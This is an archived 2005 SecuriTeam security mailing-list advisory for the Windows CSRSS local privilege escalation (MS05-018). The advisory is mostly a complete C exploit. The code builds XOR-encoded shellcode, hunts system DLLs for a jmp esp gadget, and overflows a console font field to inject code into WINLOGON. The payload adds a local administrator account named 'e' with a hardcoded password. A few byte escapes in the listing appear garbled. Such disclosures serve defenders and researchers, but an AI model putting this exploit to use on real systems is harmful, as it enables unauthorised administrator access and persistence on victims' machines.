

[EXPL] Microsoft Windows CSRSS Local Privileges Escalation (MS05-018, Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-09/0035.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 09/08/05

To: list@securiteam.com

Date: 8 Sep 2005 14:02:59 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Microsoft Windows CSRSS Local Privileges Escalation (MS05-018, Exploit)

SUMMARY

CSRSS is the user-mode part of the Win32 subsystem. Win32.sys is the kernel-mode portion of the Win32 subsystem. An attacker may gain a local elevated privileges by exploiting a vulnerability in CSRSS.

DETAILS

Vulnerable Systems:

- * Microsoft Windows 2000 Service Pack 3 and Microsoft Windows 2000 Service Pack 4
- * Microsoft Windows XP Service Pack 1 and Microsoft Windows XP Service Pack 2
- * Microsoft Windows XP 64-Bit Edition Service Pack 1 (Itanium)
- * Microsoft Windows XP 64-Bit Edition Version 2003 (Itanium)
- * Microsoft Windows Server 2003
- * Microsoft Windows Server 2003 for Itanium-based Systems
- * Microsoft Windows 98, Microsoft Windows 98 Second Edition (SE), and Microsoft Windows Millennium Edition (ME)

Immune Systems:

Securiteam: [EXPL] Microsoft Windows CSRSS Local Privileges Escalation (MS05-018, Exploit)

- * Microsoft Windows Server 2003 Service Pack 1
- * Microsoft Windows Server 2003 with SP1 for Itanium-based Systems
- * Microsoft Windows Server 2003 x64 Edition
- * Microsoft Windows XP Professional x64 Edition

CVE Information:

<<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0551>>
CAN-2005-0551

Exploit:

```
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
```

```
#pragma comment (lib, "Advapi32.lib")
```

```
typedef struct _CONSOLE_STATE_INFO {
/* 0x00 */ DWORD cbSize;
/* 0x04 */ COORD ScreenBufferSize;
/* 0x08 */ COORD WindowSize;
/* 0x0c */ POINT WindowPosition;
/* 0x14 */ COORD FontSize;
/* 0x18 */ DWORD FontFamily;
/* 0x1c */ DWORD FontWeight;
/* 0x20 */ WCHAR FaceName[0x200];
} CONSOLE_STATE_INFO, *PCONSOLE_STATE_INFO;
```

```
typedef struct xxx
{
DWORD dw[6];
char cmd[0x50];
}address_and_cmd;
```

```
char decoder[]=
"\x8b\xdc"
"\xBE\x44\x59\x41\x53\x46\xBF\x44\x59\x34\x53\x47\x43\x39\x33\x75"
"\xFB\x83\xC3\x04\x80\x33\x97\x43\x39\x3B\x75\F8\x45\x59\x41\x53";
//user=e
//pass=asd#321
char add_user[]=
"\x90\x90\x90\x90\x90\x90\x90\x8D\x7b\x98\xFF\x77\x14\x6A\x00\x68"
"\x2A\x04\x00\x00\xFF\x17\x8B\xD8\x6A\x04\x68\x00\x10\x00\x00\x68"
"\x00\x01\x00\x00\x6A\x00\x53\xFF\x57\x04\x8B\xF0\x6A\x00\x68\x00"
"\x01\x00\x00\x8D\x47\x18\x50\x56\x53\xFF\x57\x08\x33\xC0\x50\x50"
"\x56\xFF\x77\x10\x50\x50\x53\xFF\x57\x0C";
char decode_end_sign[]="EY4S";
char sc[0x200];
```

```
char szConsoleTitle[256];
```

```

DWORD search_jmpesp()
{
char szDLL[][30] = {"ntdll.dll",
"kernel32.dll",
"user32.dll",
"gdi32.dll",
"winsrv.dll",
"csrssrv.dll",
"basesrv.dll"};
int i,y;
BOOL done;
HMODULE h;
BYTE *ptr;
DWORD addr=0;

for(i=0;i<sizeof(szDLL)/sizeof(szDLL[0]);i++)
{
done = FALSE;
h = LoadLibrary(szDLL[i]);
if(h == NULL)
continue;
printf("[+] start search \"FF E4\" in %s\n", szDLL[i]);
ptr = (BYTE *)h;
for(y = 0;!done;y++)
{
__try
{
if(ptr[y] == (BYTE)'\\xFF' && ptr[y+1] == (BYTE)'\\xE4')
{
addr = (int)ptr + y;
done = TRUE;
printf("[+] found \"FF E4\"(jmp esp) in %X[%s]\n", addr, szDLL[i]);
}
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
done = TRUE;
}
}
FreeLibrary(h);
if(addr) break;
}
return addr;
}
BOOL make_shellcode(DWORD dwTargetPid)
{
HMODULE hKernel32;
address_and_cmd aac;
int i=0, j=0, size=0;

```

```

hKernel32 = LoadLibrary("kernel32.dll");
if(!hKernel32) return FALSE;
aac.dw[0] = (DWORD)GetProcAddress(hKernel32, "OpenProcess");
aac.dw[1] = (DWORD)GetProcAddress(hKernel32, "VirtualAllocEx");
aac.dw[2] = (DWORD)GetProcAddress(hKernel32, "WriteProcessMemory");
aac.dw[3] = (DWORD)GetProcAddress(hKernel32, "CreateRemoteThread");
aac.dw[4] = (DWORD)GetProcAddress(hKernel32, "WinExec");
aac.dw[5] = dwTargetPid;

```

```

memset(aac.cmd, 0, sizeof(aac.cmd));
strcpy(aac.cmd, "cmd /c net user e asd#321 /add && net localgroup administrators e /add");

```

```

//encode
strcpy(sc, decoder);
for(i=0;i<sizeof(add_user);i++)
add_user[i]^=(BYTE)\x97';
strcat(sc, add_user);
for(i=0;i<sizeof(aac);i++)
((char *)&aac)[i]^=(BYTE)\x97';
size=strlen(sc);
memcpy(&sc[size], (char *)&aac, sizeof(aac));
size+=sizeof(aac);
sc[size]='\x0';
strcat(sc, decode_end_sign);

```

```

return TRUE;
}

```

```

void exploit(HWND hwnd, DWORD dwPid)
{
HANDLE hFile;
LPVOID lp;
int i, index;
DWORD dwJMP;
CONSOLE_STATE_INFO csi;

```

```

memset((void *)&csi, 0, sizeof(csi));
csi.cbSize = sizeof(csi);
csi.ScreenBufferSize.X = 0x0050;
csi.ScreenBufferSize.Y = 0x012c;
csi.WindowSize.X = 0x0050;
csi.WindowSize.Y=0x0019;
csi.WindowPosition.x = 0x58;
csi.WindowPosition.y = 0x58;
csi.FontSize.X = 0;
csi.FontSize.Y=0xc;
csi.FontFamily = 0x36;
csi.FontWeight = 0x190;

```

Securiteam: [EXPL] Microsoft Windows CSRSS Local Privileges Escalation (MS05-018, Exploit)

```
for(i=0;i<0x58;i++)
((char *)csi.FaceName)[i] = '\x90';
dwJMP = search_jmpesp();
if(!dwJMP)
{
printf("[ - ] search FF E4 failed.\n");
return;
}
memcpy(&((char *)csi.FaceName)[0x58], (char *)&dwJMP, 4);
for(i=0;i<0x20;i++)
strcat((char *)csi.FaceName, "\x90");
index = strlen((char *)csi.FaceName);

if(!make_shellcode(dwPid)) return;
memcpy(&((char *)csi.FaceName)[index], (char *)sc, strlen(sc));

hFile = CreateFileMappingW((void *)0xFFFFFFFF,0,4,0,csi.cbSize,0);
if(!hFile)
{
printf("[ - ] CreateFileMapping failed:%d\n", GetLastError());
return;
}
printf("[ + ] CreateFileMapping OK!\n");
lp = MapViewOfFile(hFile, 0x0F001F,0,0,0);
if(!lp)
{
printf("[ - ] MapViewOfFile failed:%d\n", GetLastError());
return;
}
printf("[ + ] MapViewOfFile OK!\n");
//copy
memcpy((unsigned short *)lp, (unsigned short *)&csi, csi.cbSize);

printf("[ + ] Send Exploit!\n");
SendMessageW(hwnd,0x4C9,(WPARAM)hFile,0);
}

void main(int argc, char **argv)
{
DWORD dwRet;
HWND hwnd = NULL;
DWORD dwPid = 0;
HANDLE hSnapshot = NULL;
PROCESSENTRY32 pe;

printf( "MS05-018 windows CSRSS.EXE Stack Overflow exp v1.0\n"
"Affect: Windows 2000 sp3/sp4 (all language)\n"
"Coded by eyas <eyas at xfocus.org>\n"
"http://www.xfocus.net\n\n");
```

```

if(argc==2)
{
dwPid = atoi(argv[1]);
}
else
{
printf("Usage: %s pid\n\n", argv[0]);
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
pe.dwSize = sizeof(PROCESSENTRY32);
Process32First(hSnapshot,&pe);
do
{
if( strcmpi(pe.szExeFile, "WINLOGON.EXE") == 0)
{
printf("[+] PID=%d Process=%s\n", pe.th32ProcessID, pe.szExeFile);
}
}
while(Process32Next(hSnapshot,&pe)==TRUE);
CloseHandle (hSnapshot);
}

if(!dwPid) return;

if(!FreeConsole())
printf("[ -] FreeConsole failed:%d\n", GetLastError());
else
{
printf("[+] FreeConsole ok.\n");
if(!AllocConsole())
printf("[ -] AllocConsole failed:%d\n", GetLastError());
else
printf("[+] AllocConsole ok.\n");
}

dwRet = GetConsoleTitle(szConsoleTitle, sizeof(szConsoleTitle));
if(dwRet)
{
printf("[+] Get Console Title OK: \"%s\"\n", szConsoleTitle);
}
else
{
printf("[ -] Get Console Title failed.\n");
return;
}

hwnd = FindWindow("ConsoleWindowClass",szConsoleTitle);
if(hwnd)
printf("[+] bingo! found hwnd=%X\n", hwnd);
else
{
printf("[ -] can't found hwnd!\n");
}

```

Securiteam: [EXPL] Microsoft Windows CSRSS Local Privileges Escalation (MS05-018, Exploit)

```
return;  
}  
  
exploit(hwnd, dwPid);  
printf("[+] Done.\n");  
}  
  
/* EoF */
```

ADDITIONAL INFORMATION

The information has been provided by FrSIRT.

The original article can be found at:

<http://www.frstirt.com/exploits/20050905.MS05-018-CSRSS.c.php>

<http://www.frstirt.com/exploits/20050905.MS05-018-CSRSS.c.php>

The original advisory can be found at:

<http://www.securiteam.com/windowsntfocus/5AP0A0UFGQ.html>

<http://www.securiteam.com/windowsntfocus/5AP0A0UFGQ.html>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.